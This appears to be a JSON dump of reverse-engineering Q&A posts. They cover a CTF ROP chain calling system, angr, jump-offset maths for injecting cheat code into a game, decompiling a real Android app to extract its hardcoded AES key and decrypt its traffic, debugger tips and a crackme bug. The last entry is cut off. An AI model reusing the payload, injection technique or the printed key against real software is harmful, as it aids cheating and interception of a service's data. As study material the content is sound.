        "Id": "30200",
        "CreationDate": "2022-03-30T07:02:32.233",
        "Body": "<br>\nin oder to solve a CTF-Challenge I have to construct a small ROP-chain. The scope of the ROP chain is to print the content of the `flag` file. I already constructed the ROP-chain, but it seems that when I call the system function with the parameter `cat flag`, the result isn't printed to the console.\n<p>My ROP-chain:\n<code>payload = b'A'*80 + pop_rdi + addr_cat_flag + systemPlt</code></p>\n<p>As far as I know it should work this way, since it is a 64-Bit machine. But the strangest thing is that when insted of calling <code>system</code> I call for example <code>puts</code> then the content at address addr_cat_flag, which in this case is <code>cat flag</code>, is printed to the console. This means that the parameter is hand over corectly.<br>\nThe address of systemPlt should also be correct.</p>\n<p>Does anybody know were the problem could be?</p>\n",
        "Title": "ROP: System function not printing results to stdout",
        "Tags": "|binary-analysis|gdb|system-call|rop|pwntools|",
        "Answer": "<p>It turned out, that in order to call <code>system</code> the stack has to be 16-byte aligned.</p>\n"
    },
    {
        "Id": "30224",
        "CreationDate": "2022-04-05T01:58:47.813",
        "Body": "<p>I have a binary compiled for x86_64 that looks like this:</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nvoid options(char *input) {\n    if (strcmp(input, &quot;A&quot;) == 0) {\n        printf(&quot;You picked 'A'\\n&quot;);\n    } else if (strcmp(input, &quot;B&quot;) == 0) {\n        printf(&quot;You picked 'B'\\n&quot;);\n    } else {\n        printf(&quot;You picked something That wasn't 'A' or 'B'\\n&quot;);\n    }\n    return;\n}\n\nint main(int argc, char **argv) {\n    options(&quot;Z&quot;);\n    return 0;\n}\n</code></pre>\n<p>It has been compiled with the following command:</p>\n<pre><code>gcc main.c -static -o demo\n</code></pre>\n<p>I would now like to use angr to find inputs for as much code coverage as possible.\nThe desired outputs are <code>A</code>, <code>B</code>, and something similar to <code>Anything</code>.</p>\n<p>This article (<a href=\"https://breaking-bits.gitbook.io/breaking-bits/vulnerability-discovery/reverse-engineering/modern-approaches-toward-embedded-research\" rel=\"nofollow noreferrer\">https://breaking-bits.gitbook.io/breaking-bits/vulnerability-discovery/reverse-engineering/modern-approaches-toward-embedded-research</a>) shows that its possible to do something like this. I've had success with this technique from time to time, but often I'm left with no inputs generated. The following example is based off of the example given in the link. It is the script I am using to attempt to generate inputs:</p>\n<pre><code>#! /usr/bin/env python3\n\nimport angr\nimport angr.sim_options as so\nimport claripy\nimport sys\n\nsys.setrecursionlimit(15000)\n\nsymbol = &quot;options&quot;\n\n# Create a project with history tracking\np = angr.Project('/home/user/Documents/demo')\nextras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}\n\n# User input will be 200 symbolic bytes\nuser_arg = claripy.BVS(&quot;user_arg&quot;, 200*8)\n\n# State starts at function address\nstart_addr = p.loader.find_symbol(symbol).rebased_addr\nstate = p.factory.blank_state(addr=start_addr, add_options=extras)\n\n# Store symbolic user_input buffer\nstate.memory.store(0x100000, user_arg)\nstate.regs.rax = 0x100000\n\n# Run to exhaustion\nsimgr = p.factory.simgr(state)\n\n# Exploration technique to prevent infinite loops\nsimgr.use_technique(angr.exploration_techniques.LoopSeer(bound=50))\n\nsimgr.explore()\n\ni = 0;\n# Print each path and the inputs required\nfor path in simgr.unconstrained:\n    print(&quot;{} : {}&quot;.format(path,hex([x for x in path.history.bbl_addrs][-1])))\n    u_input = path.solver.eval(user_arg, cast_to=bytes)\n    print(u_input)\n    with open('corpus/output'+str(i)+'.bin', 'wb') as file:\n        file.write(u_input)\n    i = i + 1\n</code></pre>\n<p>The main differences from the article are that this script is to be used for an x86_64 binary (register changed), and discovered inputs are saved to files.</p>\n<p>When I run the script, I get a handful of errors and warnings:</p>\n<pre><code>WARNING | 2022-04-04 20:23:59,667 | claripy.vsa.strided_interval | Tried to cast_low an interval to an interval shorter than its stride.\nERROR   | 2022-04-04 20:23:59,703 | angr.analyses.cfg.indirect_jump_resolvers.jumptable.JumpTableProcessor | Unsupported Binop Iop_InterleaveHI64x2.\n...\nWARNING | 2022-04-04 20:24:03,531 | claripy.vsa.strided_interval | Tried to cast_low an interval to an interval shorter than its stride.\n...\nERROR   | 2022-04-04 20:24:05,909 | angr.analyses.cfg.cfg_fast | Decoding error occurred at address 0x428b82 of function 0x426e20.\n...\nWARNING | 2022-04-04 20:24:26,416 | angr.analyses.loopfinder | Bad loop: more than one entry point (&lt;BlockNode at 0x46a2d0 (size 19)&gt;, &lt;BlockNode at 0x46a2f4 (size 15)&gt;)\n</code></pre>\n<p>I can provide the full output, but it is rather long and will exceed the post length limit.</p>\n<p>When the script finished, it provides no unconstrained outputs.\nThis is the approach I thought I should have taken based on the article I read.\nThis could be the wrong approach entirely, but I'll boil it down to one question.\nWhat can one do to generate a list of inputs that provide maximum coverage using angr?</p>\n",
        "Title": "How can valid inputs be generated using the simulation manager in angr?",
        "Tags": "|angr|",
        "Answer": "<p>A simple problem I see in your code is</p>\n<pre><code>state.regs.rax = 0x100000\n</code></pre>\n<p>if you need to set constraint on a function argument - you 'll need to follow the calling convention. On my machine - Ubuntu Linux - the calling convention says first arg to be present in <code>rdi</code></p>\n<p>so by merely changing it to</p>\n<pre><code>state.regs.rdi = 0x100000\n</code></pre>\n<p>I see this as output</p>\n<pre><code>&lt;SimState @ &lt;BV64 mem_7ffffffffff0000_6980_64{UNINITIALIZED}&gt;&gt; : 0x4006ed\nb'A\\x00\\...'\n&lt;SimState @ &lt;BV64 mem_7ffffffffff0000_6981_64{UNINITIALIZED}&gt;&gt; : 0x4006ed\nb'B\\x00\\...'\n&lt;SimState @ &lt;BV64 mem_7ffffffffff0000_6982_64{UNINITIALIZED}&gt;&gt; : 0x4006ed\nb'\\x80\\x80...'\n</code></pre>\n<p>Which matches correctly with what the code does.</p>\n"
    },
    {
        "Id": "30225",
        "CreationDate": "2022-04-05T05:38:17.130",
        "Body": "<p>I'm very new to all this, so sorry if I mess up and/or am unclear. I'm working on reverse engineering assault cube, where a lot of people start, and I'm struggling to understand how this one AOB injection works. In order to make this more universal, I'll try to omit specific things about assault cube. This is all in x86 32-bit, and I'm on Windows 64-bit.</p>\n<p>My goal is to replace 5 bytes at the address of <code>ac_client.exe</code> (base address) + 29D1F (&lt;-00429D1F) to a jmp instruction to a function that I dynamically allocated in C++. cheat engine shows that in their AOB injection version, the bytes at that address become E9 DC622600, and they label it as jmp 00690000. Following that, at the code at address 00690000, there's another jmp instruction later to return control. these instructions bytes are E9 189DD9FF and its labeled jmp ac_client.exe+29D24 (&lt;- 00429D22, the address of the instruction after the one it replaced). In short, I'll need to be able to inject the compiled bytes of a jump instruction to a specific memory address into memory during runtime.</p>\n<p>So, in trying to replicate that, I have not been able to draw a link between the bytes and the addresses they represent (DC622600 : 00690000, 189DD9FF : 00429D1F). I have tried big endian, small endian, octals, hex ofc, absolute vs relative, and I can't find anything. I've also tried reassembling and dissembling all of these values / instructions with <a href=\"https://defuse.ca/online-x86-assembler.htm#disassembly\" rel=\"nofollow noreferrer\">https://defuse.ca/online-x86-assembler.htm#disassembly</a> and cannot find a link. If any of you may know what I'm doing wrong, I would hugely appreciate any help, and if you need any more info, I'm on it! Thanks a ton!</p>\n",
        "Title": "Relationship between compiled bytes of jmp instruction and target memory address",
        "Tags": "|disassembly|x86|c++|reassembly|cheat-engine|",
        "Answer": "<p>E9 is jump relative</p>\n<p>it jumps to an address relative to the next instruction address</p>\n<p>E9 is a five byte sequence 1 byte for opcode and 4 byte for calculating the relative location</p>\n<p>assume you are at address 0x1000 the next instruction will start at 0x1005</p>\n<p>the jump location is calculated by adding 0x1005 with the constant in the current instruction</p>\n<p>in your case the constant is  DC622600 or 0x002662dc adding 5 makes it 0x002662E1</p>\n<p>this is the address it will jump to which in your case happens to be 0x00690000</p>\n<p>so current instruction address must be  0x690000-0x2662e1</p>\n<p>which is '0x429d1f'</p>\n<pre><code>&gt;&gt;&gt; ip = 0x429d1f\n&gt;&gt;&gt; len = 5\n&gt;&gt;&gt; nextaddress=ip+len\n&gt;&gt;&gt; jmpconst = 0x2662dc\n&gt;&gt;&gt; jmploc = nextaddress+jmpconst\n&gt;&gt;&gt; print(&quot;%x %x %x %x %x\\n&quot; % (ip,len,nextaddress,jmpconst,jmploc))\n429d1f 5 429d24 2662dc 690000\n</code></pre>\n"
    },
    {
        "Id": "30230",
        "CreationDate": "2022-04-05T19:55:06.317",
        "Body": "<p>When I submit a Customer Reference ID in an Android Application it POSTs\u00a0an encrypted\u00a0string to an API endpoint.</p>\n<p>For example, if I enter the following CR ID :</p>\n<p>&quot;SR-54585482&quot;</p>\n<p>it POSTs the following Encrypted Data:</p>\n<pre><code>splainText : &quot;vpEz/Vm8Yi9v5/fzNE+MDoMIQGZ0vNvjPuX8UNAi26c=&quot;\n\n     Count : 31\n</code></pre>\n<p>How do I find\u00a0the encryption algorithm in the source code of the APK?</p>\n<p>In which file can I find about this encryption?</p>\n<p>Dex2Jar File here : <a href=\"https://www.mediafire.com/file/hs0qyirhuk4ygo8/test-dex2jar.jar/file\" rel=\"nofollow noreferrer\">https://www.mediafire.com/file/hs0qyirhuk4ygo8/test-dex2jar.jar/file</a></p>\n<p>APK from here :\n<a href=\"https://play.google.com/store/apps/details?id=com.sundirect.sundth\" rel=\"nofollow noreferrer\">https://play.google.com/store/apps/details?id=com.sundirect.sundth</a></p>\n",
        "Title": "Where can I find the encryption algorithm in source code?",
        "Tags": "|encryption|android|java|",
        "Answer": "<p>Based on your screenshots (as already mentioned in comments) - references to <code>mono</code> and <code>xamarin</code> help us understand that the apk is probably built with .NET. In this method the code is probably written as C# and then compiled to DLLs depending on what classes you use in the code.</p>\n<p>See : <a href=\"https://github.com/xamarin/xamarin-android\" rel=\"nofollow noreferrer\">https://github.com/xamarin/xamarin-android</a> for more details on this.</p>\n<p>A simple unzip will confirm that too.</p>\n<pre><code>$ unzip ../Sun.apk -d .\n...\nassemblies/xxx.dll\n...\n</code></pre>\n<p>Now most of the static analysis can be based on decompiling .NET dlls which can be done using something like <a href=\"https://github.com/icsharpcode/ILSpy\" rel=\"nofollow noreferrer\">ILSpy</a>.</p>\n<p>Looking at the type of dlls</p>\n<pre><code>$ file assemblies/xxx.dll\nassemblies/xxx.dll : data\n</code></pre>\n<p>The dlls are actually compressed with lz4 based on this <a href=\"https://github.com/xamarin/xamarin-android/pull/4686\" rel=\"nofollow noreferrer\">PR</a> and then can be uncompressed using a <a href=\"https://github.com/x41sec/tools/blob/master/Mobile/Xamarin/Xamarin_XALZ_decompress.py\" rel=\"nofollow noreferrer\">script</a></p>\n<pre><code>$ find . -type f -name &quot;*.dll&quot; -exec mv {} {}.lz4 \\;\n$ find . -type f -name &quot;*.lz4&quot; -exec python Xamarin_XALZ_decompress.py {} {}.dll \\;\n</code></pre>\n<p>Now ILSpy can load and decompile these DLLs.\nBased on the ciphertext you provide it looks like a block cipher such as AES. Look around for that in the decompiled code in <code>Sundirect.dll</code>\nWe find this snippet in <code>Sundirect.Services</code></p>\n<pre><code>using System;\nusing System.Security.Cryptography;\nusing System.Text;\n\npublic static string Encrypt(string inputText, string encryptionKey)\n{\n    UTF8Encoding uTF8Encoding = new UTF8Encoding();\n    RijndaelManaged rijndaelManaged = new RijndaelManaged();\n    rijndaelManaged.Mode = CipherMode.CBC;\n    rijndaelManaged.Padding = PaddingMode.PKCS7;\n    rijndaelManaged.KeySize = 128;\n    rijndaelManaged.BlockSize = 128;\n    byte[] bytes = Encoding.UTF8.GetBytes(encryptionKey);\n    byte[] array = new byte[16];\n    int num = bytes.Length;\n    if (num &gt; array.Length)\n    {\n        num = array.Length;\n    }\n    Array.Copy(bytes, array, num);\n    rijndaelManaged.Key = array;\n    rijndaelManaged.IV = array;\n    string result = Convert.ToBase64String(rijndaelManaged.CreateEncryptor().TransformFinalBlock(uTF8Encoding.GetBytes(inputText), 0, uTF8Encoding.GetBytes(inputText).Length));\n    rijndaelManaged.Dispose();\n    return result;\n}\n</code></pre>\n<p>Right Click -&gt; Analyze to see what code uses this function and we see that is is used to encrypt post data</p>\n<pre><code>...\nSundirect.Services.LoginAPIServices.LoginAync(string, string) : Task&lt;LoginDetailsOutputDto&gt;\nSundirect.Services.LoginAPIServices.GetUserPasswordAsync(string) : Task&lt;UserPasswordDto&gt;\n...\n</code></pre>\n<p>Click and browse to that location and you see that the key to encrypt is hardcoded</p>\n<pre><code>...\nstring value2 = BaseServices.Encrypt(input, &quot;419201ddtuz3082249879134d06093b95991g6f70d&quot;);\n...\n</code></pre>\n<p>This can help us write a simple decryptor like this</p>\n<pre><code>using System.Diagnostics;\nusing System.Security.Cryptography;\nusing System.Text;\n\npublic class Test\n{\n    public static string Encrypt(string inputText, string encryptionKey)\n    {\n        UTF8Encoding uTF8Encoding = new UTF8Encoding();\n        Aes? rijndaelManaged = Aes.Create(&quot;AesManaged&quot;);\n        rijndaelManaged.Mode = CipherMode.CBC;\n        rijndaelManaged.Padding = PaddingMode.PKCS7;\n        rijndaelManaged.KeySize = 128;\n        rijndaelManaged.BlockSize = 128;\n        byte[] bytes = Encoding.UTF8.GetBytes(encryptionKey);\n        byte[] array = new byte[16];\n        int num = bytes.Length;\n        if (num &gt; array.Length)\n        {\n            num = array.Length;\n        }\n        Array.Copy (bytes, array, num);\n        rijndaelManaged.Key = array;\n        rijndaelManaged.IV = array;\n        string result =\n            Convert\n                .ToBase64String(rijndaelManaged\n                    .CreateEncryptor()\n                    .TransformFinalBlock(uTF8Encoding.GetBytes(inputText),\n                    0,\n                    uTF8Encoding.GetBytes(inputText).Length));\n        rijndaelManaged.Dispose();\n        return result;\n    }\n\n    public static string Decrypt(string inputText, string encryptionKey)\n    {\n        UTF8Encoding uTF8Encoding = new UTF8Encoding();\n        Aes? rijndaelManaged = Aes.Create(&quot;AesManaged&quot;);\n        rijndaelManaged.Mode = CipherMode.CBC;\n        rijndaelManaged.Padding = PaddingMode.PKCS7;\n        rijndaelManaged.KeySize = 128;\n        rijndaelManaged.BlockSize = 128;\n        byte[] bytes = Encoding.UTF8.GetBytes(encryptionKey);\n        byte[] array = new byte[16];\n        int num = bytes.Length;\n        if (num &gt; array.Length)\n        {\n            num = array.Length;\n        }\n        Array.Copy (bytes, array, num);\n        rijndaelManaged.Key = array;\n        rijndaelManaged.IV = array;\n        byte[] b64 = Convert.FromBase64String(inputText);\n        string result =\n            System.Text.Encoding.UTF8.GetString(rijndaelManaged\n                    .CreateDecryptor()\n                    .TransformFinalBlock(b64,\n                    0,\n                    b64.Length));\n        rijndaelManaged.Dispose();\n        return result;\n    }\n\n    public static void Main()\n    {\n        string key = &quot;419201ddtuz3082249879134d06093b95991g6f70d&quot;;\n        string e = Decrypt(Encrypt(&quot;input&quot;, key), key);\n        Debug.Assert(e==&quot;input&quot;);\n        Console.WriteLine(Decrypt(&quot;vpEz/Vm8Yi9v5/fzNE+MDoMIQGZ0vNvjPuX8UNAi26c=&quot;, key));\n    }\n}\n</code></pre>\n<p>which on running decrypts</p>\n<pre><code>&quot;vpEz/Vm8Yi9v5/fzNE+MDoMIQGZ0vNvjPuX8UNAi26c=&quot;\n</code></pre>\n<p>to</p>\n<pre><code>CR-13261150|03|2022-04-04 22:40\n</code></pre>\n"
    },
    {
        "Id": "30232",
        "CreationDate": "2022-04-06T03:14:59.173",
        "Body": "<p>I would really like to change the registers during radare2's debugging sessiong. In GDB,</p>\n<pre><code>set $reg 0x2020 \n</code></pre>\n<p>was very useful.</p>\n",
        "Title": "Radare2's equivalent of GDB's Radare2's equivalent of GDB's set $reg 0x2020",
        "Tags": "|radare2|",
        "Answer": "<p>TLDR: In radare2, while debugging, you use <code>dr &lt;register&gt;=&lt;val&gt;</code></p>\n<p>Use the -d flag to begin Radare2 in debugging mode</p>\n<pre><code>r2 -d /usr/bin\n</code></pre>\n<p>You'll have a prompt in front of you, type v and then p a few times to get to the debugging view.</p>\n<p>Press colon to enter commands. You'll most likely want to analyze the binary. To do this, press colon and then <code>aaa</code> or <code>aa</code>. Note, that <code>aaa</code> does could take more time, but does performs a more in-depth analysis.</p>\n<p>Once in debugging mode, use db [address] to set a breakpoint. For example, to set a breakpoint at main</p>\n<pre><code>db main\n</code></pre>\n<p>And you can get to main, enter <code>s main</code>. This jumps to main (s is for seek).</p>\n<p>Then, if you want to change the register <code>rdi</code></p>\n<pre><code>dr rdi=0x20\n</code></pre>\n<p>For more register options, see: <a href=\"https://r2wiki.readthedocs.io/en/latest/options/d/dr/\" rel=\"nofollow noreferrer\">https://r2wiki.readthedocs.io/en/latest/options/d/dr/</a></p>\n"
    },
    {
        "Id": "30247",
        "CreationDate": "2022-04-09T15:34:16.000",
        "Body": "<p>I'm currently analyzing a complex software which compiles a kind of code. By monitoring and correlating it with ProcMon I could figure out it loads a DLL as a module.</p>\n<p>Now I'm trying to find out how exactly it is compiling the code by using a specific DLL (and which of its function together with its output) so I would like to ask which is the best way to do this.</p>\n<p>I  have IDA Pro and know it has the capability to debug it together with an exe.\nThe problem is the software consists of multiple subprocesses (or exes) so I don't know which one is using it exactly or how to handle such cases.</p>\n<p>Is there any way you can recommend or reference I could start with? I was considering using processhacker together with &quot;ThreadCreate&quot; Operations but don't know if ProcessHacker is the right tool for this as it doesn't record anything and has only a real-time view.</p>\n<p>Thanks</p>\n",
        "Title": "Best way to monitor the access to a DLL of a software?",
        "Tags": "|ida|dll|processhacker|",
        "Answer": "<p>If I've understood correctly, you are trying to figure out how the functions in this dll are called from the main executable.</p>\n<p>If that's the case you can use API Monitor by Rohitab, a free tool to &quot;spy&quot; access to dll functions. This tool is very powerful, and it allows you to retrieve the thread id, the name of the DLL that made the call, the API itself with its parameters and return value.</p>\n"
    },
    {
        "Id": "30250",
        "CreationDate": "2022-04-10T21:37:18.467",
        "Body": "<p>I have an absolute address that I want to scroll the Disassembly to in order to see which instructions are at that address. I understand that I can scroll by hand, or I can edit RIP. But the former may be slow and the latter is intrusive, I don't want to edit the state of the process. Is there a command for this?</p>\n<p>I've found <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>G</kbd>, but this is &quot;Go to offset&quot;, it doesn't accept absolute addresses.</p>\n",
        "Title": "How to navigate Disassembly view to specific absolute address location?",
        "Tags": "|x64dbg|",
        "Answer": "<p>In <strong>x64dbg</strong>, you can use the shortcut <kbd>Ctrl</kbd>+<kbd>G</kbd> to quickly move to a VA.</p>\n<p>A VA is a Virtual Address and an RVA is a Relative Virtual Address (the relative address with respect to the imagebase).</p>\n"
    },
    {
        "Id": "30252",
        "CreationDate": "2022-04-11T22:35:18.443",
        "Body": "<p>For, e.g. disassembler or IDA view:</p>\n<p><a href=\"https://i.stack.imgur.com/EzIas.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EzIas.png\" alt=\"enter image description here\" /></a></p>\n<p>Decompiler or Hex View:</p>\n<p><a href=\"https://i.stack.imgur.com/6EoY3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6EoY3.png\" alt=\"enter image description here\" /></a></p>\n<p>I can get the decompilation of whole function using something like:</p>\n<pre><code>decompiled = ida_hexrays.decompile(ea)\n</code></pre>\n<p>But, in this way I get the complete decompilation, but not the part which is only highlighted.</p>\n<p>For. e.g. I want something like - let's say for the instruction:</p>\n<pre><code>.text:00000000004011BB                 call    rdx\n</code></pre>\n<p>The corresponding decompilation would only be:</p>\n<pre><code>v4 = ((__int64 (__fastcall *)(_QWORD))a2)(v7) + v3;\n</code></pre>\n<p>Any help is appreciated.</p>\n",
        "Title": "idapython: how to get decompiler output corresponding to the indirect call",
        "Tags": "|ida|idapython|",
        "Answer": "<p>There is an undocumented API for this: <code>find_item_coords(item)</code></p>\n<p>Thus you can do something like this in IDAPython:</p>\n<pre class=\"lang-py prettyprint-override\"><code>cfunc = ida_hexrays.decompile(ea)\nitem = cfunc.body.find_closest_addr(ea)\ncoord = cfunc.find_item_coords(item)\n</code></pre>\n<p>The <code>coord</code> returned is a <code>(x, y)</code> tuple denoting column and row number for the item in the pseudo code.</p>\n<p>Hope this can help you.</p>\n"
    },
    {
        "Id": "30261",
        "CreationDate": "2022-04-14T06:25:36.163",
        "Body": "<p>I am playing with <a href=\"https://crackmes.one/crackme/62327b0433c5d46c8bcc0335\" rel=\"nofollow noreferrer\">this</a> crackme. The executable takes a numerical input (e.g., 123) and adds all the numbers. The total must be 50. However, I noticed that not all inputs adding up to 50 are validated. For example: 5555555555 is validated, but 9191919191 is not.</p>\n<p>Lines of interest: 20-28.</p>\n<p>I am probably missing something, but I cannot figure out what it may be. Any ideas?</p>\n<p><a href=\"https://i.stack.imgur.com/2bHY4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2bHY4.png\" alt=\"Assembly and Seudo-C in Ghidra\" /></a></p>\n",
        "Title": "Crackmes challenge not validating all answers",
        "Tags": "|assembly|c|ghidra|crackme|",
        "Answer": "<p>Its a problem with the binary - maybe intended. The <code>sum</code> variable is next to the char that is passed to <code>atoi</code> via a reference</p>\n<pre><code>int atoi(const char *nptr);\n</code></pre>\n<p><code>atoi</code> expects a null terminated string while here in this case it gets pointer to a char that has an integer next to it - which might not have <code>\\0</code> in your case and it would lead to problems.</p>\n<p>for 5555555555 the argument to atoi in order would be - shown as qword here for clarity</p>\n<pre><code>0x0000000000000035 - &quot;5\\x00&quot;\n0x0000000000000535 - &quot;5\\x05\\x00&quot;\n0x0000000000000a35 - &quot;5\\n\\x00&quot;\n0x0000000000000f35 - &quot;5\\x0f\\x00&quot;\n0x0000000000001435 - &quot;5\\x14\\x00&quot;\n0x0000000000001935 - &quot;5\\x19\\x00&quot;\n0x0000000000001e35 - &quot;5\\x1e\\x00&quot;\n0x0000000000002335 - &quot;5#\\x00&quot;\n0x0000000000002835 - &quot;5(\\x00&quot;\n0x0000000000002d35 - &quot;5-\\x00&quot;\n</code></pre>\n<p>Now these cases are handled well by <code>atoi</code> but in case of 9191919191</p>\n<pre><code>0x0000000000000039 - &quot;9\\x00\\x00&quot;\n0x0000000000000931 - &quot;1\\t\\x00&quot;\n0x0000000000000a39 - &quot;9\\n\\x00&quot;\n0x0000000000001331 - &quot;1\\x13\\x00&quot;\n0x0000000000001439 - &quot;9\\x14\\x00&quot;\n0x0000000000001d31 - &quot;1\\x1d\\x00&quot;\n0x0000000000001e39 - &quot;9\\x1e\\x00&quot;\n0x0000000000002731 - &quot;1&quot;\\x00&quot;\n0x0000000000002839 - &quot;9(\\x00&quot;\n0x0000000000003131 - &quot;11\\x00&quot;\n</code></pre>\n<p>As you can see the last arg here is &quot;11&quot; which would mean 11 is added to <code>sum</code> hereby taking it to 60 instead of 50.</p>\n<p>This can be verified</p>\n<pre><code>$ gdb -q ./license_checker_3\nReading symbols from ./license_checker_3...(no debugging symbols found)...done.\n(gdb) b * main+0xa0\nBreakpoint 1 at 0x1219\n(gdb) r 9191919191\nStarting program: /mnt/c/Users/sverma/Desktop/tmp/license_checker_3 9191919191\n\nBreakpoint 1, 0x0000555555555219 in main ()\n(gdb) x/xi $rip\n=&gt; 0x555555555219 &lt;main+160&gt;:   cmpl   $0x32,-0x10(%rbp)\n(gdb) x/dw $rbp-0x10\n0x7fffffffe0b0: 60\n</code></pre>\n"
    },
    {
        "Id": "30267",
        "CreationDate": "2022-04-16T04:34:03.587",
        "Body": "<p>I have a disassembly line showing:</p>\n<pre><code>lea rcx, Format\n</code></pre>\n<p>In which <code>Format</code> is a memory address named by IDA. The address is at 0x1400132E0 and points to a C-String &quot;hello, my dear\\n&quot;.</p>\n<p>What I want to do is to patch the address of <code>Format</code> to 0x1400132E1 so that the string would become &quot;ello, my dear\\n&quot;. However, <strong>Edit-&gt;Patch Program-&gt;Assembly</strong> does not allow operand such as [0x1400132E1]. What can I do?</p>\n",
        "Title": "IDA Free: How to patch a memory address",
        "Tags": "|ida|",
        "Answer": "<p><kbd>Edit</kbd> -&gt; <kbd>Patch Program</kbd> -&gt; <kbd>Assembly</kbd> is not the best choice because it does not work for all processors and all instructions.\nI agree with <code>sudhackar</code>, but you can also use <kbd>Edit</kbd> -&gt; <kbd>Patch Program</kbd> -&gt; <kbd>Change byte...</kbd> to change the relative address (in your case it will 4th byte).</p>\n"
    },
    {
        "Id": "30279",
        "CreationDate": "2022-04-17T21:06:19.453",
        "Body": "<p>Please note that I am new to x64dbg.</p>\n<p>As you can be seen in the picture below, the error message has the string</p>\n<pre><code>[ebp+8]:L&quot;The information you have entered is invalid!\\n...&quot;\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/My60T.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/My60T.png\" alt=\"address with string\" /></a></p>\n<p>However, when I do\nSearch For &gt; All Modules &gt; String References, it does not pop up:</p>\n<p><a href=\"https://i.stack.imgur.com/0HSIy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0HSIy.png\" alt=\"no results found\" /></a></p>\n<p>I am wondering why this searching only works for some strings, not all strings.</p>\n",
        "Title": "Searching for strings only partially works in x64Dbg",
        "Tags": "|x64dbg|",
        "Answer": "<p>Just because a particular string is presented in your process memory during the execution of your program, it doesn't mean that it was prepared in advance (on disk) before you launch a program.</p>\n<p>There are many other possibilities, how your program may load a &quot;non-existing&quot; string, for example:</p>\n<ul>\n<li>The string is combined (e.g. concatenated) from others,</li>\n<li>the string is entered by user,</li>\n<li>the string is created from its encrypted form,</li>\n<li>the string is from dynamically loaded DLL,</li>\n<li>the string is loaded from resources,</li>\n<li>the string is read from an external file,</li>\n<li>the string is loaded from an environmental variable,</li>\n<li>... and so on.</li>\n</ul>\n<p>Searching for a particular string is one of the simplest method in reverse engineering, but in the same time one of the <em>least reliable method</em>.</p>\n"
    },
    {
        "Id": "30283",
        "CreationDate": "2022-04-18T07:42:36.430",
        "Body": "<p>It seem to be well known that x86 registers names have a purpose and indicate on how the register should be use (see <a href=\"https://www.tutorialspoint.com/assembly_programming/assembly_registers.htm\" rel=\"nofollow noreferrer\">this website for example</a>).</p>\n<p>According to this, <code>ecx</code> should be the register holding my <code>i</code> variable on the code bellow :</p>\n<pre><code>int main()\n{\n    register int i = 0;\n    for(i = 0 ; i &lt;= 10 ; i++){}\n    return 0;\n}\n</code></pre>\n<p>Objdump disassemble:</p>\n<pre><code>\n0000000000001138 &lt;main&gt;:\n    1138:       f3 0f 1e fa             endbr64\n    113c:       55                      push   rbp\n    113d:       48 89 e5                mov    rbp,rsp\n    1140:       53                      push   rbx\n    1141:       bb 00 00 00 00          mov    ebx,0x0\n    1146:       f3 0f 1e fa             endbr64\n    114a:       bb 00 00 00 00          mov    ebx,0x0\n    114f:       eb 03                   jmp    1154 &lt;main+0x1c&gt;\n    1151:       83 c3 01                add    ebx,0x1\n    1154:       83 fb 0a                cmp    ebx,0xa\n    1157:       7e f8                   jle    1151 &lt;main+0x19&gt;\n    1159:       b8 00 00 00 00          mov    eax,0x0\n    115e:       5b                      pop    rbx\n    115f:       5d                      pop    rbp\n    1160:       c3                      ret\n</code></pre>\n<p>We clearly see that <code>ebx</code> is holding <code>i</code>, not <code>ecx</code>.\nIs there an historical reason to this? Did compiler used theoretical purpose or registers back then or was it just for humans?</p>\n",
        "Title": "Why aren't compilers using registers for their intended purpose?",
        "Tags": "|compilers|register|history|",
        "Answer": "<p>The &quot;intended purpose&quot; of a processor register is generally irrelevant to a compiler, unless something fundamental about the instruction set or architecture makes use of that aspect of the register. For example, on x86, the <code>esp</code> register is implicitly used by instructions such as <code>push</code>, <code>pop</code>, <code>call</code>, and <code>ret</code>. As a result, the <code>esp</code> register cannot be repurposed as a general-purpose register. Similarly, some other instructions use fixed registers: there is a <code>shl eax, cl</code> instruction, but no <code>shl eax, bl</code> instruction; <code>rep movsb</code> moves <code>ecx</code> bytes from <code>esi</code> to <code>edi</code>; and there are other examples like this. <code>ebp</code> is technically only tied to its role as the frame pointer through instructions like <code>enter</code> and <code>leave</code>, so it can be used as a general purpose register, although it is often still used as a frame pointer to make debugging easier.</p>\n<p>Outside of examples like this, where the compiler has no choice but to obey the intended purposes of registers in order interoperate with the architecture and broader platform, the compiler has no reason to care what somebody wrote in a manual 40 years ago recommending that <code>eax</code> be used as an accumulator and <code>ecx</code> be used as a counting register. Not only does the compiler have no sound way of determining in general which category a variable in the source code belongs to, no benefit would be obtained by putting variables into their &quot;proper&quot; register. In fact, having those unnecessary extra constraints would only serve to burden the compiler's job of producing performant code by making register allocation more difficult. Almost any register can be used for almost any purpose, and the compiler will exploit this in order to produce better code, which is a good thing.</p>\n"
    },
    {
        "Id": "30290",
        "CreationDate": "2022-04-19T10:54:05.017",
        "Body": "<p>I am trying to figure out and document the structure of WhatsApp's database (iOS version). Most data is easily readable, but the table <code>ZWAMESSAGEINFO</code> has a <code>BLOB</code>-column <code>ZRECEIPTINFO</code>. I am guessing this would contain information about when a message has been received/read, but can't decode the binary format. Attatched are two examples. I would suspect the time to be saved in Mac absolute time, but can't find anything that looks like a date in the data.</p>\n<p><code>ZRECEIPTINFO</code> of a message that has been read on 11th April 2022, 12:17 CEST (GMT+2) and was delivered on 11th April 2022, 11:07 CEST (GMT+2):</p>\n<pre><code>121b0a088153000000360057200028952152040800100052040804100018bcdfcf92062002\n</code></pre>\n<p><code>ZRECEIPTINFO</code> of a message that has been read on 13th April 2022, 19:18 CEST (GMT+2) and was delivered 13th April 2022, 19:17 CEST (GMT+2):</p>\n<pre><code>12140a08814b4d00395805442000282252040800100018bd8bdc92062002\n</code></pre>\n<p>Any insight or idea would be appreciated.</p>\n",
        "Title": "Figuring out WhatsApp's receipt info storage format",
        "Tags": "|file-format|",
